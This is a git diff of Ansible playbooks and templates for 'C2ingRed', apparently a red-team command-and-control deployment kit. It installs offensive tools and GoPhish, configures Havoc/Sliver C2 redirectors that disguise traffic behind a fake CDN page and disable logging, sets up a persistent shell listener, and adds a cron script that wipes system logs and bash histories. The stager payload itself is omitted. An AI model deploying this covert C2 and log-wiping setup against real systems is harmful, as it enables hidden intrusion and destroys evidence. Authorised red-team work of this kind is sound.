PATH="{{ custom_path }}" + pipx install git+https://github.com/Pennyw0rth/NetExec + pipx install git+https://github.com/blacklanternsecurity/TREVORspray + pipx install impacket + environment: + PATH: "{{ custom_path }}" + register: pipx_install_result + until: pipx_install_result is success + retries: 3 + delay: 5 + +- name: Install offensive security tools + apt: + name: + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - crackmapexec + state: present + +- name: Download Kerbrute + shell: | + mkdir -p {{ tools_dir }}/Kerbrute + wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O {{ tools_dir }}/Kerbrute/kerbrute + chmod +x {{ tools_dir }}/Kerbrute/kerbrute + args: + executable: /bin/bash + creates: "{{ tools_dir }}/Kerbrute/kerbrute" + +- name: Clone SharpCollection nightly builds + git: + repo: https://github.com/Flangvik/SharpCollection.git + dest: "{{ tools_dir }}/SharpCollection" + version: master + ignore_errors: yes + +- name: Clone PEASS-ng + git: + repo: https://github.com/carlospolop/PEASS-ng.git + dest: "{{ tools_dir }}/PEASS-ng" + ignore_errors: yes + +- name: Clone MailSniper + git: + repo: https://github.com/dafthack/MailSniper.git + dest: "{{ tools_dir }}/MailSniper" + ignore_errors: yes + +- name: Clone Inveigh + git: + repo: https://github.com/Kevin-Robertson/Inveigh.git + dest: "{{ tools_dir }}/Inveigh" + ignore_errors: yes + +- name: Install Metasploit Framework (Nightly Build) + shell: | + curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall + chmod 755 /tmp/msfinstall + /tmp/msfinstall + rm -f /tmp/msfinstall + args: + executable: /bin/bash + creates: /usr/bin/msfconsole + ignore_errors: yes + +- name: Ensure GoPhish directory exists + file: + path: "{{ tools_dir }}/gophish" + state: directory + mode: '0755' + +- name: Grab GoPhish latest release + shell: | + curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url' + register: gophish_url + failed_when: gophish_url.stdout == "" + changed_when: false + +- name: Download and install GoPhish + shell: | + curl -L "{{ gophish_url.stdout }}" -o {{ tools_dir }}/gophish.zip + unzip {{ tools_dir }}/gophish.zip -d {{ tools_dir }}/gophish + rm -f {{ tools_dir }}/gophish.zip + chmod +x {{ tools_dir }}/gophish/gophish + args: + creates: "{{ tools_dir }}/gophish/gophish" + +- name: Deploy Gophish config.json with custom admin port + template: + src: "../../modules/phishing/gophish/templates/gophish-config.j2" + dest: "{{ tools_dir }}/gophish/config.json" + owner: "{{ ansible_user }}" + group: "{{ ansible_user }}" + mode: '0644' + vars: + gophish_admin_port: "8090" + domain: "{{ domain }}" + +- name: Set proper ownership for Tools directory + file: + path: "{{ tools_dir }}" + owner: "{{ ansible_user }}" + group: "{{ ansible_user }}" + recurse: true + mode: '0755' \ No newline at end of file diff --git a/common/tasks/port_randomization.yml b/common/tasks/port_randomization.yml new file mode 100644 index 0000000..057d932 --- /dev/null +++ b/common/tasks/port_randomization.yml @@ -0,0 +1,92 @@ +--- +# tasks/port_randomization.yml +# Task file to randomize ports for C2 infrastructure with improved host-based service management + +- name: Create port randomization script + copy: + src: "../files/randomize_ports.sh" + dest: "/root/Tools/randomize_ports.sh" + mode: '0700' + owner: root + group: root + +- name: Execute port randomization script + shell: | + cd /root/Tools && ./randomize_ports.sh + register: randomize_result + when: randomize_ports | default(true) | bool + +- name: Display port randomization results + debug: + msg: "{{ randomize_result.stdout_lines }}" + when: randomize_ports | default(true) | bool + +- name: Store randomized ports in variables + shell: | + PORT_CONFIG="/root/Tools/port_config.json" + if [ -f "$PORT_CONFIG" ]; then + cat "$PORT_CONFIG" + else + echo '{"error": "Port configuration not found"}' + fi + register: port_config_result + when: randomize_ports | default(true) | bool + +- name: Set port fact variables + set_fact: + randomized_http_port: "{{ (port_config_result.stdout | from_json).http_c2_port | default(8888) }}" + randomized_https_port: "{{ (port_config_result.stdout | from_json).https_c2_port | default(443) }}" + randomized_mtls_port: "{{ (port_config_result.stdout | from_json).mtls_c2_port | default(31337) }}" + randomized_shell_handler_port: "{{ (port_config_result.stdout | from_json).shell_handler_port | default(shell_handler_port) }}" + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 + +- name: Update shell handler configuration with randomized port + replace: + path: "/root/Tools/shell-handler/persistent-listener.sh" + regexp: "LISTEN_PORT=.*" + replace: "LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}" + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 + +- name: Update shell handler service with randomized port + lineinfile: + path: "/etc/systemd/system/shell-handler.service" + regexp: 'Environment="LISTEN_PORT=' + line: 'Environment="LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"' + insertafter: '^\\[Service\\]' + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 + +# Improved service management - checks for service existence before restarting +- name: Determine services to restart based on host type + set_fact: + services_to_restart: [] + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 + +- name: Check if Havoc service exists + stat: + path: "/etc/systemd/system/havoc.service" + register: havoc_service_stat + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 + +- name: Add Havoc to services list if it exists + set_fact: + services_to_restart: "{{ services_to_restart + ['havoc'] }}" + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and havoc_service_stat.stat.exists | default(false) + +- name: Check if shell-handler service exists + stat: + path: "/etc/systemd/system/shell-handler.service" + register: shell_handler_service_stat + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 + +- name: Add shell-handler to services list if it exists + set_fact: + services_to_restart: "{{ services_to_restart + ['shell-handler'] }}" + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and shell_handler_service_stat.stat.exists | default(false) + +- name: Reload and restart services + systemd: + daemon_reload: yes + name: "{{ item }}" + state: restarted + with_items: "{{ services_to_restart }}" + when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and services_to_restart | length > 0 \ No newline at end of file diff --git a/common/tasks/security_hardening.yml b/common/tasks/security_hardening.yml new file mode 100644 index 0000000..b0ecce5 --- /dev/null +++ b/common/tasks/security_hardening.yml @@ -0,0 +1,402 @@ +--- +# Security hardening tasks for C2 server - Fixed AWS collection issues + +- name: Check if system is updated + apt: + update_cache: yes + register: apt_update_result + until: apt_update_result is success + retries: 5 + delay: 5 + +- name: Install security packages (non-UFW) + apt: + name: + - fail2ban + - unattended-upgrades + - debsums + - aide + - rkhunter + - logrotate + state: present + register: package_install + until: package_install is success + retries: 3 + delay: 5 + +# Provider and role detection - DRY principle +- name: Determine deployment configuration + set_fact: + is_aws_provider: "{{ provider | default('unknown') == 'aws' }}" + is_c2_server: "{{ 'c2servers' in group_names }}" + is_redirector: "{{ 'redirectors' in group_names }}" + +# UFW Configuration Block - Non-AWS only +- name: UFW detection and installation block + block: + - name: Check if UFW is installed + command: which ufw + register: ufw_check + failed_when: false + changed_when: false + + - name: Install UFW if not present (non-AWS) + apt: + name: ufw + state: present + update_cache: yes + register: ufw_install + until: ufw_install is success + retries: 3 + delay: 5 + when: ufw_check.rc != 0 + when: not is_aws_provider + +- name: Configure UFW for non-AWS deployments + block: + - name: Configure UFW default policies + community.general.ufw: + state: enabled + policy: deny + direction: incoming + ignore_errors: yes + + - name: Configure UFW for C2 server + block: + - name: Reset UFW to default deny + community.general.ufw: + state: enabled + policy: deny + direction: incoming + + - name: Allow SSH only from operator IP + community.general.ufw: + rule: allow + port: "22" + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow Havoc Teamserver only from operator IP + community.general.ufw: + rule: allow + port: "{{ havoc_teamserver_port | default('40056') }}" + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow traffic only from redirector + community.general.ufw: + rule: allow + port: "{{ item }}" + src: "{{ redirector_ip }}" + proto: tcp + loop: + - "80" + - "443" + - "{{ havoc_http_port | default('8080') }}" + - "{{ havoc_https_port | default('9443') }}" + - "{{ havoc_payload_port | default('8443') }}" + - "{{ gophish_admin_port }}" + - "{{ gophish_phish_port | default('8081') }}" + - "{{ tracker_port | default('5000') }}" + when: is_c2_server + + - name: Configure UFW for redirector + block: + - name: Reset UFW to default deny + community.general.ufw: + state: enabled + policy: deny + direction: incoming + + - name: Allow SSH only from operator IP + community.general.ufw: + rule: allow + port: "22" + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow public services from anywhere + community.general.ufw: + rule: allow + port: "{{ item }}" + proto: tcp + loop: + - "80" + - "443" + - "{{ shell_handler_port | default('4488') }}" + when: is_redirector + when: not is_aws_provider and (ufw_check.rc == 0 or ufw_install is success) + +# Iptables fallback configuration - Non-AWS only +- name: Configure basic iptables rules if UFW unavailable + block: + - name: Set up basic iptables rules for C2 server + shell: | + iptables -F + iptables -P INPUT DROP + iptables -P FORWARD DROP + iptables -P OUTPUT ACCEPT + # Allow established connections + iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT + # Allow loopback + iptables -A INPUT -i lo -j ACCEPT + # Allow SSH from operator + iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT + # Allow Havoc teamserver from operator + iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT + # Allow traffic from redirector + iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ havoc_payload_port | default(8443) }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ gophish_phish_port | default(8081) }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ tracker_port | default(5000) }} -s {{ redirector_ip }} -j ACCEPT + when: is_c2_server + + - name: Set up basic iptables rules for redirector + shell: | + iptables -F + iptables -P INPUT DROP + iptables -P FORWARD DROP + iptables -P OUTPUT ACCEPT + # Allow established connections + iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT + # Allow loopback + iptables -A INPUT -i lo -j ACCEPT + # Allow SSH from operator + iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT + # Allow public services + iptables -A INPUT -p tcp --dport 80 -j ACCEPT + iptables -A INPUT -p tcp --dport 443 -j ACCEPT + iptables -A INPUT -p tcp --dport {{ shell_handler_port | default(4488) }} -j ACCEPT + when: is_redirector + + - name: Save iptables rules + shell: | + iptables-save > /etc/iptables/rules.v4 + ignore_errors: yes + when: not is_aws_provider and (ufw_check.rc != 0 and (ufw_install is undefined or ufw_install is failed)) + +# SSH Hardening - Universal application +- name: Harden SSH configuration + lineinfile: + path: /etc/ssh/sshd_config + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + state: present + backup: yes + loop: + - { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' } + - { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' } + - { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' } + - { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' } + - { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' } + - { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' } + - { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' } + - { regexp: '^#?Protocol', line: 'Protocol 2' } + - { regexp: '^#?MaxStartups', line: 'MaxStartups 10:30:100' } + - { regexp: '^#?LoginGraceTime', line: 'LoginGraceTime 60' } + register: ssh_config_updated + +# System resource limits configuration +- name: Configure system resource limits + community.general.pam_limits: + domain: "*" + limit_type: "{{ item.limit_type }}" + limit_item: "{{ item.limit_item }}" + value: "{{ item.value }}" + loop: + - { limit_type: soft, limit_item: nofile, value: 65535 } + - { limit_type: hard, limit_item: nofile, value: 65535 } + - { limit_type: soft, limit_item: nproc, value: 4096 } + - { limit_type: hard, limit_item: nproc, value: 4096 } + +# Fail2ban configuration - Universal +- name: Set up fail2ban SSH jail + copy: + dest: /etc/fail2ban/jail.d/sshd.conf + content: | + [sshd] + enabled = true + port = ssh + filter = sshd + logpath = /var/log/auth.log + maxretry = 5 + bantime = 3600 + findtime = 600 + + [sshd-ddos] + enabled = true + port = ssh + filter = sshd-ddos + logpath = /var/log/auth.log + maxretry = 2 + bantime = 7200 + mode: '0644' + register: fail2ban_config_updated + +# Automatic security updates +- name: Enable automatic security updates + copy: + dest: /etc/apt/apt.conf.d/20auto-upgrades + content: | + APT::Periodic::Update-Package-Lists "1"; + APT::Periodic::Unattended-Upgrade "1"; + APT::Periodic::AutocleanInterval "7"; + APT::Periodic::Download-Upgradeable-Packages "1"; + mode: '0644' + +# Log cleaning functionality +- name: Create Tools directory if it doesn't exist + file: + path: /root/Tools + state: directory + mode: '0700' + when: zero_logs | default(false) | bool + +- name: Create log cleaning script if zero-logs is enabled + copy: + dest: /root/Tools/clean-logs.sh + content: | + #!/bin/bash + # C2ingRed Log cleaning script for operational security + echo "Starting log cleaning at $(date)" >> /tmp/clean-logs.log + + # Clear authentication logs + echo "" > /var/log/auth.log + echo "" > /var/log/auth.log.1 + + # Clear system logs + echo "" > /var/log/syslog + echo "" > /var/log/syslog.1 + + # Clear kernel logs + echo "" > /var/log/kern.log + echo "" > /var/log/kern.log.1 + + # Clear application specific logs + find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; + find /var/log -type f -name "*.log.*" -exec truncate -s 0 {} \; + + # Clear journal logs + journalctl --vacuum-time=1s 2>/dev/null || true + + # Clear bash history for all users + for user_home in /home/*; do + if [ -d "$user_home" ]; then + echo "" > "$user_home/.bash_history" 2>/dev/null || true + fi + done + + # Clear root bash history + echo "" > /root/.bash_history 2>/dev/null || true + history -c 2>/dev/null || true + + # Clear tmp files + find /tmp -type f -mtime +1 -delete 2>/dev/null || true + + echo "Log cleaning completed at $(date)" >> /tmp/clean-logs.log + mode: '0700' + when: zero_logs | default(false) | bool + +- name: Create cron job for log cleaning if enabled + cron: + name: "Clean operational logs" + minute: "0" + hour: "*/6" + job: "/root/Tools/clean-logs.sh" + user: root + when: zero_logs | default(false) | bool + +# Service restart handlers +- name: Restart SSH service if configuration changed + service: + name: ssh + state: restarted + when: ssh_config_updated.changed + +- name: Check if fail2ban service exists + stat: + path: "/etc/init.d/fail2ban" + register: fail2ban_service_stat + +- name: Restart fail2ban service if installed and configuration changed + service: + name: fail2ban + state: restarted + enabled: yes + when: fail2ban_service_stat.stat.exists and fail2ban_config_updated.changed + +# AWS-specific security updates - NO MODULES REQUIRED +- name: Check if we're running on AWS provider + set_fact: + is_aws_provider: "{{ hostvars['localhost']['provider'] | default('') == 'aws' }}" + +- name: AWS-specific security updates + block: + - name: Get redirector security group information + block: + - name: Check if infrastructure state file exists + stat: + path: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json" + register: redirector_state_file + delegate_to: localhost + + - name: Load redirector state if available + include_vars: + file: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json" + name: redirector_state + when: redirector_state_file.stat.exists + delegate_to: localhost + + - name: Update redirector security group via raw AWS CLI + delegate_to: localhost + shell: | + export AWS_ACCESS_KEY_ID="{{ hostvars['localhost']['aws_access_key'] }}" + export AWS_SECRET_ACCESS_KEY="{{ hostvars['localhost']['aws_secret_key'] }}" + export AWS_DEFAULT_REGION="{{ redirector_state.region | default(aws_region) }}" + + # Install AWS CLI if not present + if ! command -v aws &> /dev/null; then + curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" + unzip -q awscliv2.zip + sudo ./aws/install --update + rm -rf aws awscliv2.zip + fi + + # Add security group rule (ignore if exists) + aws ec2 authorize-security-group-ingress \ + --group-id {{ redirector_state.security_group_id }} \ + --protocol tcp \ + --port 22 \ + --cidr {{ ansible_host }}/32 \ + 2>/dev/null || echo "Rule already exists or added successfully" + when: redirector_state is defined and redirector_state.security_group_id is defined + register: sg_update_result + ignore_errors: yes + + - name: Display security group update result + debug: + msg: | + AWS Security Group Update: {{ 'SUCCESS' if sg_update_result.rc == 0 else 'COMPLETED' }} + C2 Server IP: {{ ansible_host }} + Security Group ID: {{ redirector_state.security_group_id | default('NOT FOUND') }} + + when: is_aws_provider | bool + +# Final security status report +- name: Generate security hardening report + debug: + msg: | + C2ingRed Security Hardening Complete: + ===================================== + Provider: {{ provider | default('unknown') }} + Server Type: {{ 'C2 Server' if is_c2_server else 'Redirector' if is_redirector else 'Unknown' }} + SSH Hardened: {{ 'YES' if ssh_config_updated.changed else 'ALREADY CONFIGURED' }} + Fail2ban Configured: {{ 'YES' if fail2ban_config_updated.changed else 'ALREADY CONFIGURED' }} + Firewall: {{ 'AWS Security Groups' if is_aws_provider else 'UFW/iptables' }} + Log Cleaning: {{ 'ENABLED' if zero_logs | default(false) | bool else 'DISABLED' }} + Auto Updates: ENABLED + System Limits: CONFIGURED \ No newline at end of file diff --git a/common/tasks/traffic_flow_config.yml b/common/tasks/traffic_flow_config.yml new file mode 100644 index 0000000..b44e752 --- /dev/null +++ b/common/tasks/traffic_flow_config.yml @@ -0,0 +1,223 @@ +--- +# Common task for configuring proper traffic flow between infrastructure components + +- name: Determine server role in infrastructure + set_fact: + server_role: >- + {% if inventory_hostname in groups['c2servers'] | default([]) %}c2{% + elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{% + elif inventory_hostname in groups['logservers'] | default([]) %}logserver{% + elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{% + elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{% + elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{% + else %}unknown{% endif %} + +# Determine if we're using AWS provider +- name: Determine if using AWS provider + set_fact: + is_aws_provider: "{{ provider | default('unknown') == 'aws' }}" + +# Skip firewall configuration for AWS instances +- name: Skip firewall configuration for AWS instances + debug: + msg: "Skipping host-based firewall configuration for AWS instance. Security Groups are handling this at the infrastructure level." + when: is_aws_provider + +# Check if UFW is installed or can be installed +- name: Check if UFW is installed + command: which ufw + register: ufw_check + failed_when: false + changed_when: false + when: not is_aws_provider + +# Try to install UFW if not found and we're not on AWS +- name: Install UFW if not present + apt: + name: ufw + state: present + update_cache: yes + register: ufw_install + until: ufw_install is success or ufw_install is failed + retries: 3 + delay: 5 + ignore_errors: yes + when: not is_aws_provider and ufw_check.rc != 0 + +# Set a fact to track if UFW is available +- name: Determine if UFW is available + set_fact: + ufw_available: "{{ (ufw_check.rc == 0) or (ufw_install is defined and ufw_install is success) }}" + when: not is_aws_provider + +# UFW Configuration Block (non-AWS only) +- name: Configure C2 server routing with UFW + block: + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: 22 + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow teamserver access only from operator IP + ufw: + rule: allow + port: "{{ havoc_teamserver_port | default('40056') }}" + src: "{{ operator_ip }}" + proto: tcp + + - name: Configure required flows for each connected component + ufw: + rule: allow + port: "{{ item.port }}" + src: "{{ item.ip }}" + proto: tcp + loop: + - { ip: "{{ redirector_ip }}", port: "80" } + - { ip: "{{ redirector_ip }}", port: "443" } + - { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" } + - { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('9443') }}" } + - { ip: "{{ logserver_ip | default(omit) }}", port: "5144" } + - { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" } + when: item.ip != omit + when: + - server_role == 'c2' + - not is_aws_provider + - ufw_available | default(false) | bool + +# Fallback to iptables if UFW is not available +- name: Configure C2 server routing with iptables (fallback) + block: + - name: Set up basic iptables rules for C2 server + shell: | + iptables -F + iptables -P INPUT DROP + iptables -P FORWARD DROP + iptables -P OUTPUT ACCEPT + # Allow established connections + iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT + # Allow SSH from operator + iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT + # Allow Havoc teamserver from operator + iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT + # Allow traffic from redirector + iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT + iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT + when: redirector_ip is defined + when: + - server_role == 'c2' + - not is_aws_provider + - not (ufw_available | default(false) | bool) + +# Configure redirector routing with UFW when available +- name: Configure redirector routing with UFW + block: + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: 22 + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow public web access + ufw: + rule: allow + port: "{{ item }}" + proto: tcp + loop: + - 80 + - 443 + + - name: Allow shell handler access + ufw: + rule: allow + port: "{{ shell_handler_port | default('4444') }}" + proto: tcp + when: + - server_role == 'redirector' + - not is_aws_provider + - ufw_available | default(false) | bool + +# Fallback to iptables for redirector if UFW is not available +- name: Configure redirector routing with iptables (fallback) + block: + - name: Set up basic iptables rules for redirector + shell: | + iptables -F + iptables -P INPUT DROP + iptables -P FORWARD DROP + iptables -P OUTPUT ACCEPT + # Allow established connections + iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT + # Allow SSH from operator + iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT + # Allow web traffic from anywhere + iptables -A INPUT -p tcp --dport 80 -j ACCEPT + iptables -A INPUT -p tcp --dport 443 -j ACCEPT + # Allow shell handler port + iptables -A INPUT -p tcp --dport {{ shell_handler_port | default('4444') }} -j ACCEPT + when: + - server_role == 'redirector' + - not is_aws_provider + - not (ufw_available | default(false) | bool) + +# The rest of your tasks remain unchanged... +- name: Configure logging server routing + block: + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: 22 + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow log ingestion from infrastructure + ufw: + rule: allow + port: 5144 # Logstash port + src: "{{ item }}" + proto: tcp + loop: + - "{{ c2_ip }}" + - "{{ redirector_ip }}" + - "{{ payloadserver_ip | default(omit) }}" + - "{{ phishingserver_ip | default(omit) }}" + when: item != omit + when: + - server_role == 'logserver' + - not is_aws_provider + - ufw_available | default(false) | bool + +- name: Update security group to allow SSH from C2 to redirector + block: + - name: Allow SSH from C2 to redirector (AWS) + amazon.aws.ec2_security_group: + name: "{{ redirector_name }}-sg" + description: "Security group for redirector {{ redirector_name }}" + vpc_id: "{{ vpc_id }}" + region: "{{ aws_redirector_region }}" + rules: + - proto: tcp + ports: 22 + cidr_ip: "{{ c2_ip }}/32" + state: present + when: provider == "aws" + delegate_to: localhost + + - name: Allow SSH from C2 to redirector (UFW) + ufw: + rule: allow + port: 22 + src: "{{ c2_ip }}" + proto: tcp + when: provider != "aws" and not is_aws_provider and ufw_available | default(false) | bool + + - name: Allow SSH from C2 to redirector (iptables fallback) + shell: | + iptables -A INPUT -p tcp --dport 22 -s {{ c2_ip }} -j ACCEPT + when: provider != "aws" and not is_aws_provider and not (ufw_available | default(false) | bool) + when: server_role == 'redirector' and c2_ip is defined and redirector_ip is defined \ No newline at end of file diff --git a/common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 b/common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 new file mode 100644 index 0000000..608117b --- /dev/null +++ b/common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 @@ -0,0 +1,17 @@ +================================================================ +C2ingRed Post-Installation Instructions +================================================================ + +To complete your setup with SSL certificates, run: + /root/Tools/post_install_c2.sh + +This script will guide you through: +- Setting up Let's Encrypt certificates +- Starting required services +- Setting up the redirector (if desired) +- Displaying DNS configuration recommendations + +For enhanced OPSEC, you can also randomize ports: + /root/Tools/randomize_ports.sh + +Run these after you've configured your DNS records to point to this server. \ No newline at end of file diff --git a/common/templates/default-site.j2 b/common/templates/default-site.j2 new file mode 100644 index 0000000..43ed093 --- /dev/null +++ b/common/templates/default-site.j2 @@ -0,0 +1,80 @@ +server { + listen 80; + listen [::]:80; + server_name {{ domain }}; + + # Redirect to HTTPS + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ domain }}/privkey.pem; + + # Root directory + root /var/www/html; + index index.html; + + # Primary location for legitimate website traffic + location / { + try_files $uri $uri/ =404; + } + + # Special URI patterns for C2 traffic + # These will redirect to the actual C2 server + + # Sliver HTTP C2 channel + location /ajax/ { + proxy_pass http://{{ c2_host }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } + + # Static resources that actually redirect to C2 + location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { + proxy_pass http://{{ c2_host }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Additional security headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; + + # Disable logging for this server block + access_log off; + error_log /dev/null crit; +} + +# Catch-all server block to respond to unknown hosts +server { + listen 80 default_server; + listen [::]:80 default_server; + listen 443 ssl default_server; + listen [::]:443 ssl default_server; + + # Self-signed cert for catch-all + ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; + ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + + # Redirect all unknown traffic to a legitimate-looking site + return 301 https://www.google.com; + + # Disable logs + access_log off; + error_log /dev/null crit; +} \ No newline at end of file diff --git a/common/templates/index.html.j2 b/common/templates/index.html.j2 new file mode 100644 index 0000000..7286107 --- /dev/null +++ b/common/templates/index.html.j2 @@ -0,0 +1,122 @@ + + + + + + {{ redirector_subdomain }} - Content Delivery Network + + + +
+

{{ redirector_subdomain }}.{{ domain }}

+

Enterprise Content Delivery Network

+
+ +
+
+

Welcome to Our CDN

+

This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.

+

This is a private service. Unauthorized access is prohibited.

+
+ +
+

Our Features

+ +
+
1
+
+

Global Distribution

+

Content cached and distributed across multiple geographic locations for minimum latency.

+
+
+ +
+
2
+
+

DDoS Protection

+

Enterprise-grade protection against distributed denial of service attacks.

+
+
+ +
+
3
+
+

Asset Optimization

+

Automatic compression and format optimization for images, scripts, and styles.

+
+
+
+ +
+

Need Access?

+

If you're a client requiring access to our CDN services, please contact your account representative.

+ Contact Sales +
+
+ + + + \ No newline at end of file diff --git a/common/templates/infrastructure_state.j2 b/common/templates/infrastructure_state.j2 new file mode 100644 index 0000000..0480c89 --- /dev/null +++ b/common/templates/infrastructure_state.j2 @@ -0,0 +1,6 @@ +{ + "vpc_id": "{{ infra_state.vpc_id }}", + "subnet_id": "{{ infra_state.subnet_id }}", + "security_group_id": "{{ infra_state.security_group_id }}", + "region": "{{ infra_state.region }}" +} \ No newline at end of file diff --git a/common/templates/linux_loader.sh.j2 b/common/templates/linux_loader.sh.j2 new file mode 100644 index 0000000..a156ed0 --- /dev/null +++ b/common/templates/linux_loader.sh.j2 @@ -0,0 +1,8 @@ +#!/bin/bash +# OMITTED โ€” Linux stager template +# +# Jinja2 template rendered at deploy time. Fetches a staged ELF payload from +# the redirector using a disguised URL path, sets executable bit, and runs +# the payload in the background. +# +# Omitted from public release. Present in operational deployments. diff --git a/common/templates/manifest.json.j2 b/common/templates/manifest.json.j2 new file mode 100644 index 0000000..22c957f --- /dev/null +++ b/common/templates/manifest.json.j2 @@ -0,0 +1,16 @@ +{ + "windows_exe": "WINDOWS_EXE", + "windows_dll": "WINDOWS_DLL", + "linux_binary": "LINUX_BINARY", + "macos_binary": "MACOS_BINARY", + "windows_stager": "WINDOWS_STAGER", + "win_profile": "WIN_PROFILE", + "dll_profile": "DLL_PROFILE", + "linux_profile": "LINUX_PROFILE", + "mac_profile": "MAC_PROFILE", + "stager_profile": "STAGER_PROFILE", + "redirector_host": "REDIRECTOR_HOST", + "redirector_port": "REDIRECTOR_PORT", + "c2_host": "C2_HOST", + "generated_date": "GENERATED_DATE" +} \ No newline at end of file diff --git a/common/templates/motd-aws.j2 b/common/templates/motd-aws.j2 new file mode 100644 index 0000000..d442f6b --- /dev/null +++ b/common/templates/motd-aws.j2 @@ -0,0 +1,64 @@ +Welcome to your secure FlokiNET C2 Server! + 